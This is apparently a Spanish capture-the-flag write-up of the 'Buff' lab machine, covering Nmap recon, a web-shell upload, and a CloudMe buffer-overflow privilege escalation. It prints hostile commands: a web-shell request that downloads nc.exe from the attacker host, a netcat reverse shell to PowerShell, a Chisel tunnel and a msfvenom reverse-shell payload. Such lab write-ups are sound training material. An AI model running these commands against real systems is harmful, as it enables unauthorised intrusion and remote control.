Realizamos un ping a la mΓ‘quina objetivo para verificar la conectividad y obtener informaciΓ³n sobre la ruta utilizando la opciΓ³n -R para incluir la ruta de retorno:
ping -c 1 10.129.2.18 -R
El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la mΓ‘quina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duraciΓ³n que un paquete puede estar en una red antes de ser descartado. Windows establece por defecto el valor de TTL de sus paquetes IP en 128, que al pasar por un salto en la red se decrementa a 127.
Escaneo de puertos con Nmap
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mΓ‘quina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mΓnima de paquetes y -vvv para un nivel de verbosidad alto. AdemΓ‘s, utilizamos -n para desactivar la resoluciΓ³n de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra funciΓ³n extractPorts:
Posteriormente, realizamos un escaneo mΓ‘s detallado de los puertos identificados utilizando la opciΓ³n -sCV para detecciΓ³n de versiones y scripts de enumeraciΓ³n de servicios. EspecΓficamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:
Simplemente ejecuto el exploit.py y logro subir una shell a buff.htb:
El script sube un archivo llamado kamehameha.php el cual tiene el parametro "telepathy". Realizo un "?telepathy=dir" y lo mando al repeater con Burpsuite. Luego descargo de mi maquina nc.exe con un curl. Y por ultimo realizo la conexiΓ³n con netcat.
GET /upload/kamehameha.php?telepathy=curl.exe+"http%3a//10.10.14.57%3a8888/nc.exe"+-o+netcat.exe HTTP/1.1
http://10.129.2.18:8080/upload/kamehameha.php?telepathy=nc.exe%20-e%20powershell.exe%2010.10.14.57%206565
Extrayendo InformaciΓ³n de Conexiones TCP con PowerShell
Una vez que hemos establecido una conexiΓ³n inversa con la mΓ‘quina vΓctima utilizando nc.exe, nuestro prΓ³ximo paso es recopilar mΓ‘s informaciΓ³n sobre el sistema objetivo para entender mejor su entorno de red y potencialmente identificar nuevas vΓas de ataque. Una herramienta extremadamente ΓΊtil en este proceso es el cmdlet Get-NetTCPConnection de PowerShell, que nos permite inspeccionar las conexiones TCP activas y los puertos que estΓ‘n escuchando en la mΓ‘quina vΓctima.
Comando PowerShell para InformaciΓ³n de Conexiones TCP
Para ejecutar este comando, asegΓΊrate de que ya tienes acceso al shell de PowerShell en la mΓ‘quina vΓctima. Una vez dentro, puedes utilizar el siguiente comando para filtrar y mostrar las conexiones TCP relevantes:
Puedo identificar que el archivo CloudMe.exe es el mismo que se encuentra en C:\Users\shaun\Downloads\
Por lo que busco vulnerabilidades con searchsploit cloudme
Y podemos percatarnos que la versiΓ³n del ejecutable corresponde a la misma que es vulnerable al Buffer Overflow.
Para explotar la vulnerabilidad de Buffer Overflow en el servicio cloudme.exe, primero necesitamos establecer un tΓΊnel con Chisel para acceder al servicio desde nuestra mΓ‘quina atacante. Luego, ejecutaremos el exploit desde windows/remote/48389.py para lograr la escalada de privilegios.
Establecer tΓΊnel con Chisel:
# En la mΓ‘quina atacante (Kali Linux)
chisel server -p 7777 -reverse
# En la mΓ‘quina objetivo (Windows)
./chisel client 10.10.14.57:7777 R:8888:127.0.0.1:8888
Modificamos el Buffer Overflow
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.57 LPORT=5555 -b '\x00\x0A\x0D' -f python -v payload